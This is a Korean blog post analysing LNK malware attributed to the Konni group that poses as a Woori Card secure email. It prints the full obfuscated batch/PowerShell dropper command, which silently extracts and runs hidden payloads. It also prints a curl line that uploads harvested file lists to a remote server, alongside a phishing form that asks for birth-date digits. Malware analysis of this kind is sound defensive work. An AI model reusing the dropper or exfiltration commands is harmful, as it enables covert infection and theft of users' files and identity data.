꿈을꾸는 파랑새

오늘은 세계적으로 유명한 APT 조직 북한 코니(Konni)에서 제작한 악성코드 우리은행 사용자 노린 악성코드 WooriCard_20231108.html.lnk(2025.5.19) 에 대해 분석을 해보겠습니다. 일단 해당 악성코드는 우리은행에서 발급하는 우리카드 보안 메일로 위장하는 악성코드입니다.
파일명: WooriCard_20231108.html.lnk
사이즈:50 MB
MD5:7672a9bf5a58e2c17925dbb759ea98ce
SHA-1:ac56bdd7cead82ede6690355e7c9924b1174a1da
SHA-256:50826fc1142a3442c04576c68478eab4909481f010d5eb19220c1757adb272b9
일단 악성코드 내부를 열어보면 난독화된 PowerShell 코드를 볼수가 있습니다.

악성코드에 포함된 난독화 된 PowerShell 코드
악성코드에 포함된 난독화 된 PowerShell 코드

악성코드 PowerShell

StringData
{
 namestring: 
 relativepath: not present
 workingdir: not present
 commandlinearguments:/q /c Set O=(a)JEC18wHj4v(y)Ix(h)0WAo3R5O2UgXfPKilNur6tF9n(c)pMQGYeBVDdZzskb
 TqL7Sm && call %O:~41,1(%)%O:~18,(1)%%(O):~6,1%%O:~(4)6,1%%O:~34,1%%O:~53(,)1%%
 O:~14,1%%O:~46,1%%O:~31,1%%O:~31,1% -%O:~6,1(%)%O:~30,1%%O:(~)39,1%%(O):~5(0),1
 (%)%O:~18,1%%O:~6,1%%O:~53,1%%O(:)~36,1%(%)O:~11,1%%O:~31,1%%O:~46,1% %O:~14,(1)
 %%O:~30,1%%(O):~5(0),1(%)%O:~50(,)1%%O:~46,1%%O:~39,1% "$LMM4w(p)hBh = Get-Loc(a
 )tion;$eTmNMNm(7)CggKR = Get-C(h)ildItem -Path $(L)M(M04wphBh -Recurse *(.)lnk | w
 he(r)e-object {$_.length -eq 0x031CCCCC} | Select-Object -ExpandProperty FullName;if($eTm
 NMNm7CggKR.length -eq 0) {$LMM4wphBh = $env:Temp;$eTm(N)MNm7CggKR = Get-ChildItem -Path $
 LMM4wphBh -Recurse *.lnk | where-object {$_.length -eq 0x031CCCCC} | Select-Object -Expan
 dProperty FullName;};$LMM(4)wphBh = Split-Path $eTmNMNm7CggKR;$o(1)o20Ei7S709 = New-Objec
 t System.IO(.)FileStream($eTmNMNm7CggKR, [System.IO.FileMode]::Open, [Syste(m).IO.FileAcc
 ess]::Read);$o1o20(E)i7S709.Se(e)k(0x00001C30, [System(.)IO.Se(e)kOrigin]::Begin);$Ym16Gf
 c = New-Object byte[] 0x0001C(7)0D;$o1o20(E)i7S709.Read($Ym16Gfc, 0, 0x0001C70D);$cRi9qh(
 9)eTly = $LMM4wphBh + '\' + [regex]::unesca(p)e('WooriCard_20231108.ht(m)l');sc $cRi9qh9e
 Tly $Ym16Gfc -Encoding Byt(e);& $cRi9qh9e(T)ly;$o1o20Ei(7)S709.Seek(0x0001E33D, [System.I
 O.SeekOri(g)in]::Begin);$tto4r6kwNfxWgy=New-Object byte[] 0x(0)000105E;$o1o20Ei7S709.Read
 ($tto4r6kwNfxWgy, 0, 0x0000105E);$o1o20Ei7S709(.)Close();Remove-Item -Path $eTmNMNm7CggKR
 -Forc(e);$TojyxlrTd5UI=$env:public + '\batchsv392.cab';sc $TojyxlrTd5UI $tto4r6kwNfxWgy -
 Encoding By(t)e;$J2kZXJJlWcVYyl=$env:public (+) '\Libraries';expand $TojyxlrTd(5)UI -f:* 
 $J2kZXJJlWcVYyl;$xgE_o(O)ikIPOT=$J2kZXJJlWcVYyl + '\avtue483(.)bat';&$xgE_oOikIPOT;Remove
 -Item -Pa(t)h $TojyxlrTd5UI -Force;"
 iconlocation: .html
}

악성코드 분석

우리 카드 악성코드 실행시 화면
우리 카드 악성코드 실행시 화면

일단 해당 악성코드는 substring 방식을 사용하는 것을 볼 수가 있습니다.
1. 초기 명령 실행 부분 디코딩
O 변수 설정
길이 60여 자의 난독화 문자열을 O 변수에 저장
명령어, 옵션 추출
O:~41,1 등 Batch substring 구문을 통해 아래 문자열들이 순차 추출됨
1. 실행 명령어:powershell
2. 옵션 1:windowstyle
3.옵션 2:hidden
이렇게 실행 구문은
powershell -windowstyle hidden 를 사용을 해서 PowerShell을 배경(창 숨김)으로 실행을 해서 사용자가 모르게 하는 것이 특징
2..lnk 파일 검색 및 페이로드 추출
크기가 정확히 0x31CCCCC(16진수)인 .lnk 파일 검색
0x31CCCCC =52,219,084 bytes 게 되니까? 특정 크기의 .lnk 파일 선택 을 하는 것이 목적 일명 픽미
파일 미 존재 시 Temp 폴더에서 재검색

Libraries 에 포함된 악성코드
Libraries 에 포함된 악성코드

4..lnk 경로 확보 및 디렉터리 분리
$eTmNMNm7CggKR 변수에 페이로드 .lnk 파일의 전체 경로 저장
3.HTML 페이로드 추출 및 실행
FileStream 생성 후 첫 번째 페이로드(HTML) 읽어 들임
offset 0x1C30=7,216 bytes
length 0x1C70D=116,493 bytes
.lnk 파일 내부 특정 위치에 숨겨진 HTML 코드 부분을 추출
WooriCard_20231108.html 생성 및 저장
HTML 파일 실행
기본 브라우저(또는 HTML 핸들러)로 페이로드 실행
WooriCard 라는 이름으로 우리 은행 이용자를 노린 목적이 아주 친절한 피싱 페이지
4.추가 배치(또는 DLL) 페이로드 추출 및 실행
두 번째 페이로드 읽기
offset 0x1E33D=123,141 bytes
length 0x105E=4,190 bytes
.lnk 파일 삭제 처리
CAB 파일로 저장 및 압축 해제
내부 배치 스크립트 실행 및 정리
avtue483.bat 실행 그러면 avtue483.bat를 확인을 해 보아야 함
악성코드를 실행하면 다음과 같은 화면을 볼 수가 있습니다.
내용은 다음과 같습니다.
보안 메일 비밀번호 입력
본 메일은 고객님의 정보보호를 위해 암호화된 보안메일입니다.
메일을 확인하시려면 아래의 내용을 입력 후 확인해 주시기 바랍니다.
* 개인회원:주민등록상 생년월일 6자리 입력
* 기업회원:사업자번호 10자리 입력
* 가맹점회원:사업자번호 10자리 입력
그리고 악성코드 실행이 되고 나면 C:\Users\Public\Libraries 폴더에 각각 악성코드들이 들어가 져 있는 것을 확인할 수가 있습니다.
생성된 날짜들을 보면 2023년 한탕 한 것 같은 느낌이 듭니다.
avtue483.bat
chbbie400.bat
chbbie400.bat
vxnklcn989.vbs
xoicnew
입니다.
해당 생성된 파일들을 열어보면 난독화 가 돼 있는 것을 확인할 수가 있습니다.

avtue483.bat 코드 분석

1.초기 설정 및 현재 폴더로 이동
@echo off:스크립트 실행 시 명령 창에 명령어 자체를 출력하지 않도록 설정
Set XIQckFMoub=…:난독화된 문자열을 환경 변수 XIQckFMoub 에 한 번만 저장
3.pushd "%~dp0":XIQckFMoub 내부에서 부분 문자열을 추출해서 pushd 명령어로 디코더(%~d p0 —배치 파일이 위치한 폴더)로 현재 작업 디렉터리를 변경->추출 로직은 O:~58,1→p,O:~14,1->u, O:~33,1`→`s`, O:~48,1->h,O:~29,1
2.사용자 프로필 주요 폴더 목록 수집
%XIQckFMo(u)b:~(2)9,1%(%)XIQckFMoub:~32(,)1%(%)XIQckFMoub:~3,1% C:\Users\%username%\Desktop\ /s /b /a-d > Desktop_list(.)txt
%XIQc(k)FMoub:~29,1%%XI(Q)ckFMoub:~32,1%%XI(Q)ckFMoub:~3,1% C:\Users\%username%\Documents\ /s /b /a-d > Documents_list.txt
(총 6개 폴더:Desktop,Documents,Downloads,Music,Pictures,Videos)
dir 명령으로 재귀(/s), 간단 경로 리스트(/b), 파일만(/a-d)을 뽑아 폴더별로 텍스트 파일에 저장
수집 대상:
1.Desktop
2.Documents
3.Downloads
4.Music
5.Pictures
6.Videos
사용자 환경에서 주요 개인 파일 위치의 전체 파일 목록(경로) 확보
3.원격 전송을 위한 주소(URL) 구성
set UploadURL=…

avtue483.bat 내부에 포함된 악성코드
avtue483.bat 내부에 포함된 악성코드

set 명령으로 UploadURL 환경 변수에 hxxps://…/data 형태의 원격 서버 주소를 저장
4. 수집한 목록 파일 전송 루프
실제 스크립트에서는 curl 또는 bitsadmin,powershell Invoke-WebRequest 등의 명령어를 비슷하게 추출·호출하고 있으며 난독화된 변수 확장을 통해 한 줄씩 각 목록 파일을 원격에 전송하도록 구성돼 있음

uplokli567.bat 포함된 악성코드 분석

1.pushd "%\~dp0:현재 BAT 파일이 위치한 디렉터리로 이동
2.curl -X POST -H "Content-Type\:multipart/form-data" -F "name=%COMPUTERNAME%" -F "data=@%\~dp0%2" %1:현재 경로의 %2파일을 %1(외부 서버)로 업로드,컴퓨터 이름 포함

uplokli567.bat 포함된 악성코드 내용
uplokli567.bat 포함된 악성코드 내용

3.del /f /q %2:업로드한 파일을 강제 삭제
이렇게 간단하게 우리 카드 사용자를 노리는 우리 북한 동포 해킹 단체에서 만든 악성코드에 대해 간단하게 알아보았습니다.

공유하기

facebook twitter kakaoTalk kakaostory naver band